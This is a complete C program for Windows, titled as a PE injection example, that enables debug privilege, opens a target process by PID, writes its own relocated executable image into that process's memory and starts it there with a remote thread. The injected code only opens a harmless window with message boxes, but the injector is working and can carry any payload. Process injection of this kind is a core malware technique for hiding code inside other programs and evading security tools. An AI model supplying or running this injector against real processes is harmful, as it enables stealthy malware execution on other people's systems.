processes inject using pe injection

#include <stdio.h>
#include <Windows.h>
#include <winternl.h>

#pragma comment(lib,"ntdll.lib")

typedef struct _CLIENT_ID
{
    PVOID UniqueProcess;
    PVOID UniqueThread;
}CLIENT_ID,*PCLIENT_ID;

EXTERN_C NTSTATUS NTAPI RtlCreateUserThread(
HANDLE,
PSECURITY_DESCRIPTOR,
BOOLEAN,
ULONG,
PULONG,
PULONG,
PVOID,
PVOID,
PHANDLE,
PCLIENT_ID);

EXTERN_C PIMAGE_NT_HEADERS NTAPI RtlImageNtHeader(PVOID);

EXTERN_C NTSTATUS NTAPI RtlAdjustPrivilege(ULONG,BOOLEAN,BOOLEAN,PBOOLEAN);
EXTERN_C NTSTATUS NTAPI NtOpenProcess(PHANDLE,ACCESS_MASK,POBJECT_ATTRIBUTES,PCLIENT_ID);
EXTERN_C NTSTATUS NTAPI NtWriteVirtualMemory(HANDLE,PVOID,PVOID,ULONG,PULONG);

LRESULT CALLBACK WndProc(HWND hWnd,UINT uMsg,WPARAM wParam,LPARAM lParam)
{
    HDC hDC;
    PAINTSTRUCT ps;

    switch(uMsg)
    {
        case WM_DESTROY:

            PostQuitMessage(0);
            break;

            case WM_PAINT:
                hDC=BeginPaint(hWnd,&ps);

                FillRect(hDC,&ps.rcPaint,0);
                EndPaint(hWnd,&ps);
                break;

           case WM_LBUTTONDOWN:
               MessageBox(hWnd,"You clicked the left mouse button.","Message",MB_ICONINFORMATION);
               break;
           case WM_RBUTTONDOWN:
               MessageBox(hWnd,"You clicked the right mouse button.","Message",MB_ICONINFORMATION);
               break;

           case WM_KEYDOWN:

               switch(wParam)
               {
                   case VK_RETURN:
                       MessageBox(hWnd,"You pressed the enter key.","Message",MB_ICONINFORMATION);
                       break;
                   case VK_SPACE:
                       MessageBox(hWnd,"You pressed the spacebar key.","Message",MB_ICONINFORMATION);
                       break;
                   case 'B':
                       Beep(800,200);
                       break;
               }

               break;

           default:
               return DefWindowProc(hWnd,uMsg,wParam,lParam);
    }

    return 0;
}

void WINAPI ThreadProc(HINSTANCE hInst)
{
    HWND hWnd;

    WNDCLASS wc;
    MSG msg;

    memset(&wc,0,sizeof(wc));

    wc.hInstance=hInst;
    wc.lpfnWndProc=WndProc;
    wc.lpszClassName="PEWndClass";

    RegisterClass(&wc);

    hWnd=CreateWindowEx(
        0,
        "PEWndClass",
        "PE injection window",
        WS_OVERLAPPEDWINDOW,
        50,
        50,
        250,
        250,
        NULL,
        NULL,
        hInst,
        NULL);

    ShowWindow(hWnd,SW_SHOW);

    while(GetMessage(&msg,NULL,0,0))
    {
        TranslateMessage(&msg);
        DispatchMessage(&msg);
    }

    UnregisterClass("PEWndClass",hInst);
    ExitThread(0);
}

int main(int argc,char* argv[])
{
    PIMAGE_NT_HEADERS pINH;
    PIMAGE_DATA_DIRECTORY pIDD;
    PIMAGE_BASE_RELOCATION pIBR;

    HMODULE hModule;
    PVOID image,mem,StartAddress;
    HANDLE hProcess,hThread;
    DWORD i,count,nSizeOfImage;
    DWORD_PTR delta,OldDelta;
    LPWORD list;
    PDWORD_PTR p;
    BOOLEAN bl;
    NTSTATUS status;

    OBJECT_ATTRIBUTES oa;
    CLIENT_ID cid;

    if(argc!=2)
    {
        printf("Usage: PEWindow.exe [PID]");
        return 1;
    }

    RtlAdjustPrivilege(20,TRUE,FALSE,&bl);

    hModule=GetModuleHandle(NULL);
    pINH=RtlImageNtHeader(hModule);

    nSizeOfImage=pINH->OptionalHeader.SizeOfImage;

    InitializeObjectAttributes(&oa,NULL,0,NULL,NULL);

    cid.UniqueProcess=(HANDLE)atoi(argv[1]);
    cid.UniqueThread=0;

    printf("\nOpening target process handle.\n");

    if(!NT_SUCCESS(status=NtOpenProcess(&hProcess,PROCESS_ALL_ACCESS,&oa,&cid)))
    {
        printf("\nError: Unable to open target process handle. NtOpenProcess failed with status %#x\n",status);
        return 1;
    }

    printf("\nAllocating memory in target process.\n");

    mem=VirtualAllocEx(hProcess,NULL,nSizeOfImage,MEM_COMMIT|MEM_RESERVE,PAGE_EXECUTE_READWRITE);

    if(mem==NULL)
    {
        printf("\nError: Unable to allocate memory in target process. VirtualAllocEx failed with error %d\n",GetLastError());

        NtClose(hProcess);
        return 1;
    }

    printf("\nMemory allocated. Address: %#x\n",mem);

    image=VirtualAlloc(NULL,nSizeOfImage,MEM_COMMIT|MEM_RESERVE,PAGE_EXECUTE_READWRITE);

    memcpy(image,hModule,nSizeOfImage);

    pIDD=&pINH->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC];
    pIBR=(PIMAGE_BASE_RELOCATION)((LPBYTE)image+pIDD->VirtualAddress);

    delta=(DWORD_PTR)((LPBYTE)mem-pINH->OptionalHeader.ImageBase);
    OldDelta=(DWORD_PTR)((LPBYTE)hModule-pINH->OptionalHeader.ImageBase);

    while(pIBR->VirtualAddress!=0)
    {
        if(pIBR->SizeOfBlock>=sizeof(IMAGE_BASE_RELOCATION))
        {
            count=(pIBR->SizeOfBlock-sizeof(IMAGE_BASE_RELOCATION))/sizeof(WORD);
            list=(LPWORD)((LPBYTE)pIBR+sizeof(IMAGE_BASE_RELOCATION));

            for(i=0;i<count;i++)
            {
                if(list[i]>0)
                {
                    p=(PDWORD_PTR)((LPBYTE)image+(pIBR->VirtualAddress+(0x0fff & (list[i]))));

                   *p-=OldDelta;
                   *p+=delta;
                }
            }
        }

        pIBR=(PIMAGE_BASE_RELOCATION)((LPBYTE)pIBR+pIBR->SizeOfBlock);
    }

    printf("\nWriting executable image into target process.\n");

    if(!NT_SUCCESS(status=NtWriteVirtualMemory(hProcess,mem,image,nSizeOfImage,NULL)))
    {
        printf("\nError: Unable to write executable image into target process. NtWriteVirtualMemory failed with status %#x\n",status);

        VirtualFreeEx(hProcess,mem,0,MEM_RELEASE);
        NtClose(hProcess);
        return 1;
    }

    StartAddress=(PVOID)((LPBYTE)mem+(DWORD_PTR)(LPBYTE)ThreadProc-(LPBYTE)hModule);

    printf("\nCreating remote thread in target process.\n");

    if(!NT_SUCCESS(status=RtlCreateUserThread(hProcess,NULL,FALSE,0,0,0,StartAddress,mem,&hThread,NULL)))
    {
        printf("\nError: Unable to create remote thread in target process. RtlCreateUserThread failed with status %#x\n",status);

        VirtualFreeEx(hProcess,mem,0,MEM_RELEASE);
        NtClose(hProcess);
        return 1;
    }

    printf("\nThread created. Waiting for the thread to terminate.\n");

    NtWaitForSingleObject(hThread,FALSE,NULL);

    printf("\nThread terminated.\n");

    NtClose(hThread);

    printf("\nFreeing allocated memory.\n");

    VirtualFreeEx(hProcess,mem,0,MEM_RELEASE);
    NtClose(hProcess);

    VirtualFree(image,0,MEM_RELEASE);
    return 0;
}